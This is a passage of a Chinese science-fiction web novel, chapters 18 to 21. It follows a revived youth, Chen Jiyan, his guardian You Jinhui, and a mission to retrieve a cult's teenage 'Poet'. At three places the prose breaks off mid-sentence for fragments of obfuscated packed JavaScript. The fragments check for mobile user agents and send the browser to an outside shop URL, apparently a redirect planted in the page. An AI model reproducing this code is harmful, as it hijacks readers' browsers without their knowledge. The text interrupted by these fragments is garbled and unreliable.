临行嘱托 倒计时第三天,陈寄言被带着去酊枢开各种权限,在各部门办公室来回进出,简单琐碎的东西其实有秘书小姐带着他就好,游今洄偏偏也要跟着,他们每到一处,方圆八百米都变得无比安静。 之前虽然来过,但活动范围仅局限于执政官办公室以及一小部分公共活动区域,碰见的人不多,今天基本上把酊枢的基本结构磨头。 最顶层百分之九十的人接触不到,议会成员开会办公的场所,当然他们自己也少来,大部分时间都闲置,下面军防部、财管署、律政司和教育局平分场地,执政官的办公室位置最好,视野最开阔,去哪里都很近。 本来陈寄言初来乍到应该紧张的,大家不约而同的沉默倒让尴尬盖过紧张的情绪,每次进门都要在心底暗道抱歉。 然后正大光明盯着所有人默认的关系户头衔直奔主题。 罪魁祸首悠哉游哉,不觉得有任何问题。 还好执政官对双方的折磨只有一次,陈寄言发誓下次有事死都不会再找他求助。 “你在生气?” “哦,原来这么明显吗,还以为你看不出来。”回到执政官的办公室,陈寄言小发雷霆,拒绝游今洄递过来的点心。 “为什么生气?”巴掌大的一小包饼干,游亭说是朋友送的,陈寄言不领情,他拆开尝了一块,有点腻。 “因为太大张旗鼓了,弄得大家都很尴尬。” “不明白。” 空气中散发着无法抗拒的纯粹罪恶的奶油和焦糖的香味,恰好秘书小姐送来红茶。 陈寄言下意识道谢,秘书小姐放下一小碟焦糖饼干,给了双方一个台阶。 “叫我简就好,有什么问题请随时联系我,不用道谢,这是我的工作。” 说完离开办公室,贴心地带上门。 甜的,口感酥脆,带着一丝若有若无的咸,糖分让心情变得好了一些,再开口,语气也更和缓: “你一直跟着,不是告诉所有人我是关系户吗,影响多不好。” 原来是为这点小事别扭,小孩的心思真是海底针。 “他们会习惯,关系户也不止你一个。” 那也不是所有关系户都这么张扬吧!在研究所万众瞩目也就算了,难道以后来酊枢也要变成关注焦点?那他真的不用出门了。 “总之,以后在外面尽量不要暴露我们的关系。”陈寄言放下茶点正襟危坐,再次强调。 “见不得人吗?” 那张惯常严肃的脸上露出一瞬间的怔松竟然让人生出几分于心不忍,陈寄言保持冷酷,“是,你知道就好。” 他真的怕那天被执政官的仇家干掉,据他所知游今洄的政敌很多,当然他招人恨的本事也不小。 走完基本流程,陈寄言有条不紊地准备行李,游今洄却静不下来。 不知道是不是真的被前天陈寄言说的不要暴露关系的话伤到,这两天很少说话,就喜欢一言不发地坐在岛台旁的高脚凳上看着他。 “要离开整整一周,你看上去很开心。” “偶尔也要出去放松心情,你之前不是说我老一个人宅在家里不好?” “还没正式成年,就开始不着家。”执政官批评他。 不出门的时候,说要多出去呼吸新鲜空气,出门,又被说不着家? “你签字同意的。” 自相矛盾,反复无常,时常搞不懂监护人在想什么。 “放心,系统评估过身体情况和任务难度,不会有任何问题。”说完也不顾灯光下孤寡老人的背影,晚上八点,今日活动时间告罄,他要睡觉了。 不会出现任何问题,这个保证只维持了24小时,临行前一天晚上,陈寄言发了高烧。 没有任何预兆,速度很快,几分钟,他的额头就烫得吓人。 他确信自己体温升高,脑袋昏沉,但任何一项数值都没有问题。 也有可能是,人类进化掉了这个疾病,所以没有参照,不被系统监测到,而是被笼统归因于FS抗性指数过低的情况,一天没有五回合也有三回,属于正常数据波动。 他艰难支撑着自己爬起来去淋浴间打湿毛巾给自己降温,跌跌撞撞完成了以上步骤,陈寄言一手撑着洗手台,另一只手隔着湿毛巾捂着额头。 镜中的自己湿漉漉的,五官没有太大的变化,这个身体常年躺在研究所,皮肤细嫩,没有因工作压力过大产生的细小纹路,手上熟悉的地方也没有茧。 喉咙烧得发干,也顾不得水是否能够直饮,掬了一捧,俯下身贪婪地汲取水分,因为太急又被呛到,咳嗽了好几声,但喉咙总算好受一点了。 他抬起头,跟镜中的自己对视。 额前的头发全湿,面色苍白,因为咳嗽,眼角洇红,水珠杂着生理性的泪水,脆弱,可怜,真的是他吗? “薇塔星说,吃了她的药,很快就会好了。” 是幻听? 孩子的声音,陌生又熟悉。 镜中的影像变了个样子,照出的不是灰白色调的淋浴间,而是那个拥挤的温馨的小木屋,桑夏恩薇塔星的住所。 “4759?” 无人应答。 “陈寄言?” “是你啊,你生病了。” 对面的孩子听得到他在说话。 “薇塔星果然没有骗我,原来我以后真的比她还要高那么多。” 幼年的4759并不意外,好像还习以为常。 “她不在了对吗,你的新监护人真没用,哦,应该说是我们的新监护人。” “薇塔星总爱放一些药在尼克身上,如果被它全部都吃掉的话,你抱着尼可睡一晚就好了。” “你生病到现在都是一个人吗,看来我未来被分配了一个很不负责任的大人。” 他踮脚伸手,似乎想要摸摸正在生病的陈寄言的额头。然而中间隔着不止一面镜子的距离,并不能真的接触到对方。 “不过没关系,我自己也能活的很好。” 镜子外面的陈寄言发不出声音,点头回应。 “去睡一觉吧,尼可已经在枕头边等着你了。” “晚安,陈寄言。” 他的喉咙沙哑,只能用口型对幼年版的自己说了晚安。 被拍过的地方似乎真的在降温,也有可能是心理作用。 “我在想什么呢,”陈寄言恍然,“烧出幻觉来了,当然是因为湿毛巾。” 离开淋浴间,一开尼可居然真的在,不过哪是在他的枕头边,它霸占了枕头正中央的位置。 如果不是第二天早上被一团巨大毛茸茸差点压死,陈寄言会以为昨晚是自己做梦。 不然为什么会跟小时候的4759对话? 是什么引起的呢,高烧? 查看数据,没有记录任何异常。 他想到昨晚幼年版自己的那句不负责任,竟然还想要替游今洄辩解几句,毕竟他现在也是病号。 那天在酊枢突然倒下似乎是某种药物引发的后遗症,接着又是跳楼又是去拍卖会抓人,回来后马不停蹄上班,完全没有休息过。 不然把尼克借给他睡两天? 想法刚出现,尼克心有灵犀跳到了餐桌上,明显对他盘子里的煎蛋垂涎已久。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772058|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “早起欢迎仪式?” 游今洄看见被双手举到自己面前的未知毛绒生物,不明所以。 “我出外勤,尼可你帮忙照顾几天。” 圆球蹬了两下腿,灵活地掏出魔爪,跳到饮水机旁,中途不小心被机器人绊倒,滚了两圈,为掩饰尴尬,非常沉浸地喝水。 陈寄言检查完要带的东西,不太放心地把尼克托付给他。 游今洄没养过非人活物,如临大敌,面上依旧镇定: “有什么饲养注意事项?” “除了活的和金属,它什么都吃。” 游今洄看着就不像是会养好小动物的样子,虽然尼可相当好养活,家里没人的条件下还顽强活到陈寄言来接走。 陈寄言迟疑了三秒,还是补充一句,“不要饿到它。” “嗯。”此物的体型终于有了解释,游今洄已经开始规划陈寄言走后小东西的每日训练表。 虽然游今洄没开口,但毫不掩饰的嫌弃的眼神已经很能说明问题。对尼克的体型颇有意见。 “你别看他这样,其实只是毛长了一点,并没有很胖。” 陈寄言忍不住为它辩解。 “知道。”好敷衍,好没有诚意。 “还有就是,多摸摸它。”宠物也有互动交流需求,陈寄言担心小家伙抑郁,毕竟他走之后就只剩下游今洄跟它共处一室。 “这样?” 察觉到放在自己脑袋上的手掌,陈寄言惊呆。 “你手套都不脱,我昨天刚洗的头。” 他很讨厌游今洄的手套。 “抱歉,下次注意。”的确,隔着布料手感没那么好,“你笑什么?” “就是昨天晚上的一个梦。” “梦?” 他的反应让陈寄言以为这个东西已经被人类进化掉了。 “有人在梦里对我说,我的新监护人非常不负责任,他很失望。” “我离开这段时间,希望执政官大人更加负责一点,照顾好它,加油。” “他刚刚是在教训我?” 陈寄言头也不回地出了门,留下执政官跟一团毛茸茸的不明生物面面相觑。 录完信息,陈寄言被丢在训练室,无所事事。 “从四十六层直接出发,时间三小时后,你还有一个队友,车上集合。” 这里是军部的地方,跟教育部悠闲散漫的风格截然不同,每个人严肃正经,行色匆匆,公事公办的样子让陈寄言感到安心和熟悉,让他回忆起十几个疲惫的社畜面面相觑的无奈和心酸。 进来前的不安焦虑都被奇异地抚平,他静下心看人物资料。 大概人只要闲下来就忍不住胡思乱想,他就不是享清福的命,一定要手上忙点事才能安心。 因为是新人,所以接触的任务难度并不大,并且回报可观,是他目前找到的性价比最高的。 他需要协助同伴,将酊枢跟默港交界处一个小城市的管理人带回法庭接受审讯,罪名是,非法传播宗教。 配备的武器简单好上手,几乎看了一遍演示就学会。上手很容易也不需要练习准头,只要成功标记,百分百准确。 “还有一件事小陈,离开酊枢,系统的功能会受到限制,信号不稳定的地方通讯也会有问题,所以不要跟队友分开,尽量一起行动。” “好,我知道,之前的资料我还是可以随时查看不受影响对吗?” “是的,该出发了,奇怪,为什么信息还没有刷新,啊!有了,你的队友,他已经在出发站点等你。” 【同行队友:军防部行动处,纪希。】 19. 过河拆桥 这趟外勤需要乘公共交通,没有执政官私人列车那方便快捷能随叫随到,一天24个固定发车时间,距离下一趟还有20分钟,陈寄言打开系统指引,需要坐电梯到76层。 酊枢的电梯容量很迷,两天前跟十几个人同乘都很宽敞,现在只有他跟游今洄,莫名觉得拥挤,或许是身份上的转变,陈寄言又调整了刚挂上的胸牌,怎么看怎么奇怪。 在家里相处明明很正常,为什么到了酊枢却感到紧张呢? 因为他那身制服吗?还是不近人情生人勿近的那副死表情。 “他又带上手套了。” 陈寄言脑子里突然冒出这么一句。 执政官的手套,应该也不是普通材质,跟他手上十二个戒指一样,肯定有什么别的用途。 他思维发散,执政官果然说话算话,现在明明就只有两个人,还是装作不熟悉的样子,公事公办,对待他真的就是对普通同事的样子,中间的空地甚至还能站下四五个人。 整个酊枢只有这一个电梯通行,两扇门,左上右下,任何职级都没有特殊通道,原理更像是地铁,上百个轿厢轮替,等待时间不至于过长。 内壁的材料不是玻璃,一种接近透明的石头,非常坚硬,比他所知道的最坚硬的石头硬度还要高,外面看,几很难发现,几乎和周边环境融为一体,内部却可以看得一清二楚。 底部堆砌着颜色丰富的矿石,乍一看像万花筒。 这座冰冷建筑唯一的美学设计。 什么时候他也能配枪呢? 大概是眼神停留在胯间的时间过长,游今洄想忽视也做不到,他上前两步,顺手卸下递过去: “借给你。” “任务不让带其他武器。”口是心非,陈寄言接过就塞进外衣内口袋,体积不大,非常轻巧,外面看不出来。 “监护人暂时存放在你身上的,只要不被看到,没有人发现就没关系。” “记住了,只有一发子弹。” “啊……” “还嫌少?我看你胆子挺大。” 你不也一样。 陈寄言收好,心里默默吐槽。 当着监控,明目张胆地就直接递给他。 “我不一样,执政官有特权。” 该死的特权阶级。 游今洄没再移开,这个距离得低头才能对上陈寄言的眼睛,显得居高临下: “你应该说,谢谢长官。” “长官再见!谢谢长官!” 游今洄的笑还没来得及挂上,电梯到了楼层,门打开,外面站着游亭女士跟他的秘书。 陈寄言早就看见,故意没有出声提醒。 “回来再收拾你。” 他直接通过系统传的声音。 陈寄言不以为然,当没听见,笑盈盈地跟门外打招呼。 游今洄本来说要来送行,他没让。 又不是小孩子第一次去幼儿园,也不是大一新生入学,还要家长送,让人笑话。 临行前却看见游亭女士在站点门外等他。 距离发车时间还有25分钟,队友没有通过传讯催促,他们就站在旁边的过道说了会话。 “你跟今洄,在我眼里都是一样的。” “只不过我育儿经验有限,这些年也越来越不知道应该怎么跟年轻人相处。” “但是寄言,你并不是任何人的负累,你的存在也并不是什么麻烦,你们都是在爱与期待中到来的孩子。” “他甚至比我们更加关心你,每次我去研究所看望,总能碰见他,你要相信,他是很喜欢你的。” “之前看你们相处,相敬如宾很客气的样子,他心里肯定很难过。” 相敬如宾?从哪里看出来的?陈寄言总觉得这个词用在他们身上有种诡异的不对。 “我知道今洄有时候说话不太好听,请你见谅。” 啊执政官嘴毒他知道的,没关系,他这人也比较叛逆,每次都很大胆回怼了。 毕竟在执政官这样的铁人眼里,除了他自己其他人都是废物。 “平安回来。” 第一次,他对这个世界产生了归属感,或许也可以试着把住的地方当家。 “如果我在中途遇到危险向你求救,你会像去桑夏恩那次一样很快就到我身边吗?”不过这次去的地方更远,最快单程也要45分钟。 彼此的联系方式都是置顶,说是要开会的执政官几乎是秒回。 “很快。” “有多快?45分钟吗?” “在你求救的下一秒,我会到。” 陈寄言看到恢复一下忘记原本想要说什么。 “他说的真的?” 列车上,陈寄言无心翻看资料,脑海里反复琢磨游今洄的话,向纪希求证。 对方给了肯定回复。 原来并不是夸张的修辞手法,也没有糊弄他。 “不过现在技术已经发展到可以瞬间移动吗?”在21世纪要被叫做超能力的。 虽然他们的第一次见面不算愉快,但纪希作为同伴,非常让人放心。 毕竟是军防部长的副官,小有名气。 “没什么不可能,古代也没有人会相信人真的能飞行。” “那倒也是,好吧,我是落后的古代人。” 纪希认真回答他的问题:“付出一定代价,可以的。” “代价?” “你知道列车是按照起始点和目的地规划最短路线的吧,一切都是为了降低能耗,节省燃料。” 陈寄言点头。 “时速并不是默认的200公里每小时,没有上限。” “消耗的能量,是平常的多少倍?” “难以估计,没办法用倍速衡量,大概,是能够维持酊枢运转一整年的,还不算损耗。” “晶源没有办法百分百被利用,30%已经是非常可观的数字,你说的那个情况,要达到瞬间移动的效果,利用率不足1%。” 也就是足够维持酊枢运转10年的能量。 游今洄果然还是在玩笑。 家底再厚也经不住这么折腾。 真的出现这种情况,陈寄言把自己卖掉也还不清。 距离目的地大约还有半小时车程,陈寄言过着任务详情,他们此行限时一周,负责接目标对象回酊枢配合调查,这个“接”字,证明难度不大。 他思考着纪希这个级别为什么会被安排跟自己一起,总觉得不是随机匹配,大概率是因为他的监护人。一条消息提示弹出: 【信息更新:您所在的恒脉lab主负责人由副院长赵霖,更改为院长,赵霖,请知悉。】 “院长?” 赵霖就是之前对他异常热情的研究员,他升副院长陈寄言是知道的,因为研究对象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772059|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他本人醒来,是重大成果,不过为什么升院长这么快? 怀着疑惑,陈寄言发出一条祝贺信息,礼貌问前院长去哪了。 “谢谢,老师几天前离世,我匆匆接任,不过放心,有关于你的研究依旧是最高级,大部分时间我还是会在恒脉。” 陈寄言发了句节哀,顺便问了下自己现在的身体情况,静脉注射军方发的标准营养药剂会不会有什么副作用。 不过他应该在忙,没有立刻回复。 “东西迁完没,我赶时间。” “您稍等,还有一些旧文件和公章,小张,带执政官到外面休息。” 老院长除去博士荣誉,还兼任议员,身后事要繁琐很多。 酊枢没有四季,研究所也是一样,只有恒脉收容了许多特殊病人,为了照顾心情,在病房外面种了几颗花树,主城少有的景色。 跟蔓都被精心侍弄的花木很不一样,这颗树长得随心所欲,空气中浓度过高的FS并没有抑制它的生长,反而越发茂密,春日开满了粉色的花朵,遇到大雨也仅仅掉落一些花瓣,花苞依旧如期绽放。 没有雪,寒冷的时候,树枝会挂满雾凇,有一年最严重的时候甚至整棵树都被冰冻起来,然而气温回暖,依旧会抽出新芽。 整个酊枢他唯一愿意多待一会的地方,也只有这个房间附近。 陈寄言并不是陌生人,在他没有知觉的日子,已经无声无息地陪伴他很久很久。这里是为数不多他可以平静下来,彻底放松的地方。 游亭说的没错,他的确漂亮,让人见了心软。 偶尔,非常偶尔,游今洄猜测过他醒来之后的样子。 懵懂的,白纸一样,大概率会惊慌失措。 他会是他唯一信任依赖的人。 大多数时候,游今洄还是希望他不醒来的好。 所有的一切,在他身上发生过的事,还未发生的事,都太过残忍。 或许生命总是残忍的,唯有死亡才能得到永久的平静。 他并不准备用执政官的样子第一次见面的,每次去见他,游今洄都会提前换掉制服,脱下手套,尽可能的,以一种看上去更加温和的样子出现在他面前。 大概初见留下的印象不好,他们并没有想象中的那么亲近。 第一次出那么久的外勤,出发了也不知道要报备。 他不知道第几次打开对话框,看见正在输入,第一反应是有点感动的。 但接下来内容让他忍不住想骂人。 “游今洄,我错了,应该听你的,不那么急着接任务。” 紧接着下一条就是公共系统遭到攻击,部分列车线路失去定位,正在紧急修复中。 还有随之而来的一系列紧急申请和认罪书。 不知情的赵霖急急忙忙赶来,被面色沉沉的执政官一个眼神定在门外。 “你老师的通讯特殊通道还没有关掉,告诉今天下午发表就职演讲的新议员——” 赵霖下意识地做了一个吞咽的动作,精神高度集中,听着执政官后面的吩咐。 “过河拆桥,很不聪明。” 赵霖没来得及深思大老板的话,手已经依言操作,找到了据说来自酊枢的原本应该是第13位的新议员,她的名字非常熟悉,是早自己三届的学姐,奥斯汀。 结合老师突然离世,赵霖觉得自己果然只适合研究,搞不来政治。 20. 暴力通行 “是,被袭击,任务申请延期3-5天,目前已经到蔓都边界。” 两个人狼狈地在一条小溪边的石头上坐着。 “我们必须分开走,勘测到两条路,你选一个。” 开局这么不顺利,陈寄言知道大概率是冲着自己,分开走是正确的,至少不会拖累别人。 “行,但既然已经被人盯上,我们路线也不要共享了,直接定好时间还有集合地点,到时候见,如果有人逾期不到,另一个先去做任务。” 他们决定放弃使用通讯交流,避免被定位追踪。 于是在这个科技高度发达的新历,两个人采取最简单朴素的交通联系方式。 徒步和做标记。 “可以。”纪希没多说话,挑了个方向离开。 出师未捷,好在没受伤,他打开地图,这里距离目的地并不远,徒步一天能到,任务期限是一周,最迟明天上午。 前提是,他需要找到代步工具。 确定好路线,收拾好自己就出发,太阳落山之前,最好找到有人居住的地方,不然直接进入节能模式,搞不好会被野兽吃了。不清楚酊枢外面有没有野兽。 看着渐渐变暗的天色,陈寄言隐隐担忧。 陈寄言一行被袭击的消息很快传到了酊枢,游亭几乎是同时得到的消息,其余部门还未反应时,她赶在临时召开的集会前找到执政官问罪。 “一点意外。” 貌似并不放在心上,游亭从前欣赏他归然不动的沉稳,这是一个优秀领导者的必备素养,现在却生出一股无名火气。 “寄言不是你的下属,我早说过不急着让他太早接触酊枢,你倒好,不声不响把人送到军部去了,还到离主城那么远的地方去做任务。” 游亭看他依旧面不改色,点到为止,转而道: “你不会养我自己养,听说你把人丢中心区小半个月,我虽然忙,隔三岔五回来看看孩子还是可以的。” “他不是孩子了。”游今洄否掉了母亲的提议,“需要我提醒吗,您似乎也没怎么尽过监护人的职责。” 这方面,他们半斤八两,游亭甚至不如他有心得。 游亭张了张嘴,似乎想要说什么,然而她只是静静注视游今洄几秒,没再多言。 “重要的东西,要么藏在保险箱里,不仅如此,外面还要铸造铜墙铁壁,布下层层迷宫,要么,将他锻造得比世界上任何石头都要坚硬。” 游今洄用那双几乎毫无差别的宝蓝色的眼睛跟她对视。 “您曾经教导我的话,怎么自己忘了。” “不是什么材质都适合被锻造的。”游亭罕见沉默,她总是能言善道,面对诘问质疑也不动如山,做的事情从不后悔,也不认为自己亏欠游今洄什么。 只是陈寄言,他情况特殊。 当初她决定领养回来的孩子,却没法时时看顾,因为游今洄实在靠谱,她工作又实在忙碌,便心安理得丢给了他。 她早不记得应该如何抚养年幼的孩子,也完全没有跟未成年相处的经验,因为游今洄没有叛逆期。 “我有分寸。”斩钉截铁,不容置疑。 “但愿如此。” 执政官抬手送客。 “是对曾经忽视的补偿吗。” 没有指代谁,会议室的两个人心知肚明。 “直到现在,我仍然觉得自己的教育理念没有问题,你成长的很优秀,是一份完美答卷。” “不是最好。”游今洄侧身,余光中游亭已然走到门口,没有回头。 “如果是,我不需要,他也不需要。” 他一定把人照看得很好。 酊枢也不需要下一个执政官。 目送自己的母亲走出会议室,他的目光越过屏幕上五分钟后的会议提示,再次投向窗外云间,陈寄言离开的方向。 有时候似乎又觉得,他一直是个孩子也不错,一直长不大也没关系,一直待在恒脉病房里,外界不会侵扰它,那些阴谋牵连不到他,不会被残酷的命运找到。 但他还是醒来了,并且距离他即将成年的时间,只剩下不到一年。 潜伏在四周的爪牙苏醒,让他成功通过筛选顺利成年,拥有在酊枢合法正式的身份,这件事也迫在眉睫。 他不可能一直生活在自己庇护之下。 雨势渐弱,云层析出微光,露台下的鸟抖落水珠,擦着列车残留下的轨迹振翅而飞。 边缘地区的信号飘忽不定,陈寄言没有求救,他并不是生活在被监管的新历,他是个社会化的正常成年人,虽然过去所学会的那些法则并不一定适用于现在,但他拥有独立自主的人格和行动能力,根本上不认同游今洄之间的被监护与被看管的关系。 显然他过去二十多年学到的东西和经验在这个社会似乎完全行不通。 “不好意思,请问可以——” “打扰了,我想——” 他只是想打车。 “你好,”多次礼貌请求碰壁,陈寄言彻底换上了从前上班的死人脸: “打劫。” 最简单直白的方式往往高效快捷,不分种族不分性别不分时间,暴力是所有生物共通的语言。 他顺利要挟一位中年司机载他一程。 结果是好的,过程有些颠簸。 “你们这里,流行三轮?” 好颠,有点想吐。 “两个轮子的费体力,四个轮子的费燃料,三个轮子最好用,运货量够,省时省力。” 陈寄言完全没空思考这段话的逻辑,“挺好挺好。” 他面如土色,看上去好像大限将至的样子让司机受到二度惊吓。 “我这儿有薄荷水,要不您先把枪放下?”比起担忧架在后面威胁自己的手枪,他生怕陈寄言一不小心死自己车上。 不必,他单手可以。陈寄言给自己的人设的冷酷军官,深思熟虑后他认为这样能免去许多麻烦。不近人情的酊枢军人当然不会接受边缘城区普通居民的食物,不然就ooc。 他挺直腰背坚持了半分钟。 “不只是薄荷的味道。”甜甜的,很好喝。 “嘿!我姑娘给加了绿豆,熬的薄荷绿豆糖水!” 说起自己家里人,司机骄傲又兴奋。 驶入城镇后,好受很多。他说的没错,三轮车很稳,是路不平。 沿路几乎看不见科技的影子,仿佛回到了使用粗糙工具的旧社会,风里都是自由的味道。 他即便不查看系统,也感知到这里的FS指数低于20,身体的负担减轻了很多,比在蔓都还要自在。 人就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772060|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是应该生活在这种没有被污染的环境,酊枢的生存环境简直反人类,唯一的优点交通便利以及随处可见的营养液,也都是为工作服务,减少通勤和进食时间,全身心投入工作。 他已经开始考虑养老不如搬到这里来。还没去过默港,不知道哪里气候怎样,听着是个港口城市,应该可以看到海,似乎也不错。他心里抗拒回到酊枢。 蔓都离那里太近,他连带着也不那么喜欢了。 “您这趟是要送什么?”虽然行为暴力,语言上还是客气礼貌。 “给教堂送浆纸。”司机看陈寄言接受了食物,也放宽心开始聊天。 “浆纸?” “虽然品质差了点,可最近诗人又出了新作,纸供不应求!” “什么新作?” 陈寄言瞬间警惕,这或许就是任务资料提到的大型传销手段。 “你外地的吧,看方向不是从默港,蔓都那边的?” “之前一直住在亲戚家治病。”人设瞬间变成身体弱但好学的青年。 “哦,”司机了然,“那难怪了,喏,我这里刚好有一份他之前的作品,送你了。” “不太好吧,很贵重。”新历书本都是奢侈品。 “也只是刚出的时候难买,而且多一个读者诗人也很高兴的,他不收版权费。” 只有酊枢的书籍会收取版权费用,并不高昂,不过对外面的人来说依旧奢侈。 英文写的十四行诗,背面还有翻译。 人员错综复杂,三个城市交会之地,按理说应该会产生丰富的文明和信仰。 可听这个来送浆纸的司机,所有人都把希望热情都寄托在一个真实存在的人的身上,尊称他为【诗人】或者【先知】。 这么多人聚集在一起,很容易出事,酊枢发布这个任务,除了打击盗版外,也是防范于未然。 告别司机,他几乎没怎么费力气就找到了疑似据点,实在太明显。 教堂高大沉默,用来照明的竟然还是火把和煤油灯,庄重严肃的雕像上挂着壁灯,如同眼睛注视着每一个过路人的身影,银色月辉下寂静森然。 跟纪希约好的地方离这里很近,事实上,蓿谷这个城市并不大,不到酊枢的一半,说是小镇更合适。 他等到凌晨,没有人来,陈寄言便依照约定不再等,或许纪希早就到并且开始探查,为了效率不想带上他这个拖油瓶。 现在去投宿不现实,司机说教堂会收容流浪者暂留,门24小时都是开的,只是环境简陋,陈旧的木桌石凳坚硬冰冷。待机状态没有知觉,系统有自动调节温度功能,问题不大。 他运气不错,里面一个人都没有,陈寄言靠着门扉小憩。 “我们已经冥想整整三天了!为什么还没有新的诗?” “就这样对待虔诚的信徒吗?” 半小时前还平静祥和的氛围土崩瓦解,上一秒还沐浴着幸福的脸上立刻出现暴怒凶狠的表情,高台之上依旧沉默。 这算什么,大型催更现场?脱粉回踩? 众人哄吵许久,传说中的诗人被数十个长袍众星捧月出来。 看身形,是个年纪不大的少年,跟此次任务对象的描述大致相符。 应该就是需要他们带回酊枢配合审查接受劳动改造的传销组织的领导者。 21. 默港来信 圆台上的【诗人】用一种奇异的调子哼唱着什么,声音不大,在这座教堂激荡着回音,一遍过后,所有人热忱地学着他的调子哼唱同一首歌,词的内容听不清,陈寄言捕捉到几个关键词,跟他昨天看见的,那张印着十四行诗的作品一模一样。 陈寄言在角落一个很不起眼的位置,避免引人注目,也学着周围人的样子,口中念念有词,只是没有声音。 这么好摆平,一瞬间就不闹了? 纪希还是没有踪影,陈寄言混入人群,跟在被簇拥着的【诗人】后,被拒在通往二楼的铁门外。 “终于唬住了,要你们有什么用!”【诗人】扔掉长长的沉重白袍,几个随从分立两侧。 “您知道的,他们信仰的相信的是您,我们再怎么安抚劝导,也只是杯水车薪。” “酊枢的人呢,怎么还没来?”她不满地敲桌,试图以稳定的频率掩饰自己的心焦。 今天这出还不知道能管几天,再不来,她真的要顶不住了。 “为何不稍微写几句呢,出自您手,无知群众也为奉为圭阜。” “与神沟通不是那么简单的事,你懂什么。” 她不耐烦挥了挥手,“出去,不要干扰我。” 下属鞠躬退下: “非常抱歉,祝您今日心情愉快,早日获取神的启示。” 房间终于只剩下她自己,整个人瘫倒在椅背,仰头望着天花板上泛黄的壁画。 “来个人救救我吧,神明也好,默港也好,甚至是酊枢的人也行,快要撑不住了。” “神啊,真的存在的话,派个人来救我吧,谁都行,哪怕是不属于这个世界鬼魂,我真的……” 西尔莎怀疑自己连日备受精神折磨下出现了幻觉,否则怎么会听见回应。 她又不信默港那一套,认为这破世界还存在神明庇护。 “如你所愿。” 这里没有系统,没有监控,窗台的雕像宽的能并排站下两个人,陈寄言总算研究出了窗户的打开方法,半个身体顺利探进去。 他踩着一颗巨大的七叶树进来的,整个人从窗台跳下,落了不少树叶花瓣。 逆着光,周围镶了一圈浅金色的边,看不清面容。 “你是酊枢来的?不对,他们严肃得很。” “那么是默港,之前不是一直看不上这里?” “难道是哀什?不可能吧,细皮嫩肉的。” 总之是人就好,吓死她了。 “都不是,我说过了,”他收好不小心从领口滑落出来的磁石,露出上班惯用的假笑。“如你所求,我来自另一个世界。” “难怪。”如果西尔莎不是坚定的唯物主义者,他出现的时候真的会认为是神明派遣的使者。 这种清澈愚蠢的目光,只有桑夏恩才能培养出来,最后送往主城。 “酊枢就派了你一个人?” 陈寄言简单解释来时路上的情况。 “你同伴也是新人吗?” “他比我经验丰富得多。” “那就好。” 看着这么年轻,真让人放心不下。 “没有说你不专业的意思,就是感觉,似乎你更需要被保护呢?”西尔莎的不信任直白地写在脸上,“主要是觉得你没有攻击性。” 刚才被陈寄言独特的出场方式唬住,回过神来,从头到脚审视他。身材瘦削,面色苍白,眼睛亮亮的,不像她见过的任何人,像第一次尝试飞行的鸟,从未远航过的水手。 “为什么想要离开,你在这里不是很受到尊重吗。” “尊重。”她咂摸这两个字,自嘲般笑笑。 “明知故问,你刚刚也看见了,场面太大,我压不住了,当初可不是这么跟我说的。”西尔莎耸肩摊手。 “谁?” “无关紧要的人,总之尽快跟你同伴取得联系,早点离开这个鬼地方。” 接到任务后为数不多的好消息,对象愿意配合。如果没有遇到袭击,的确是个简单轻松的活。 不过,鬼地方?陈寄言目光投向窗外,阳光明媚,建筑和谐,比酊枢不知道好多少倍。 最重要的是,空气中的FS浓度非常低,来的路上看了实时监测的指数,偶尔有波动,但大致维持在个位数。 简直神清气爽,不会需要时刻紧绷着神经应付可能有的大幅度波动,也不会因为排斥反应身上乃至神经系统刺痛。 就连每日可以维持正常行动的时间也增加不少,在定枢每天八小时算状态好,蔓都也只是多了一两个小时而已,现在竟然可以活动12小时,他从来没觉得时间这么充裕过。 还没离开,他都有点舍不得。 当然,对常住民或许不算什么,抛开任务不谈,来这个地方对陈寄言简直是度假。 系统无法完全监测到,不会有陌生人投来好奇或怜悯的目光,也没有蛮不讲理的监护人。 “你们约在哪里,蓿谷这么小,竟然还没成功碰头?” “嗯?你说那个地方,那完蛋了,你朋友肯定去上课了,短时间出不来。” “上课?” “主城的人多依赖系统,恐怕早就不知道字怎么写,这里的人热情又爱传教,但是纸笔油墨很贵,当然不舍得把自己的给出去。” “很简单的,只要能成功默出一首完整的诗就算过关,最多一两天,他就出来了。” “这个吗?”陈寄言拿出怀里的司机送他的纸问。 “哦,你这份还是带签名的,也是我的粉丝?” 她拿起桌上羽毛笔蘸水在最下面一行字划了一道波浪线。 “西尔莎,是我的名字。” “你实在不放心,可以在开放时间去找人,不过你确定要原路出去?” 